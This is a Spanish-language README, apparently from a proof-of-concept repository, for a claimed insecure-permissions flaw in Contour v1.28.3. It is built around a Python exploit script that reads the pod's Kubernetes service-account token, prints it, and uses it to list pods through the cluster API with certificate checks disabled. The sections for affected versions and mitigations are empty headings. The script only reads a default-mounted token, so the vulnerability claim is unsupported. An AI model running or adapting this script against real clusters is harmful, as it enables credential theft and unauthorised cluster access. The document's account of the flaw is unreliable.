
Exploit PoC para permisos inseguros en Contour v1.28.3 que recupera un token de cuenta de servicio de Kubernetes y accede a la API del clúster, demostrando escalada de privilegios.
Este repositorio contiene un script de Prueba de Concepto (PoC) que demuestra una vulnerabilidad de permisos inseguros en Contour v1.28.3. Esta vulnerabilidad permite a atacantes acceder a datos sensibles y escalar privilegios obteniendo el token de la cuenta de servicio.
CVE-ID: (Pendiente)
Resumen: Contour v1.28.3 contiene permisos inseguros que permiten a atacantes acceder al token de la cuenta de servicio. Al explotar esta vulnerabilidad, un atacante puede obtener el token de la cuenta de servicio, el cual puede ser utilizado para acceder a datos sensibles y potencialmente escalar privilegios dentro del clúster de Kubernetes.
Versiones Afectadas:
Mitigaciones:
Este script PoC demuestra cómo acceder al token de la cuenta de servicio en Contour v1.28.3. Asegúrate de tener permiso explícito para realizar esta prueba.
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
Para abordar esta vulnerabilidad:
Para obtener más información sobre cómo asegurar tu implementación de Contour, consulta la documentación oficial de Contour.
Este README.md proporciona una visión general de la vulnerabilidad, un script PoC para demostrar el problema e instrucciones sobre cómo mitigar el riesgo. Asegúrate de manejar este PoC de manera responsable y solo en sistemas donde tengas autorización explícita.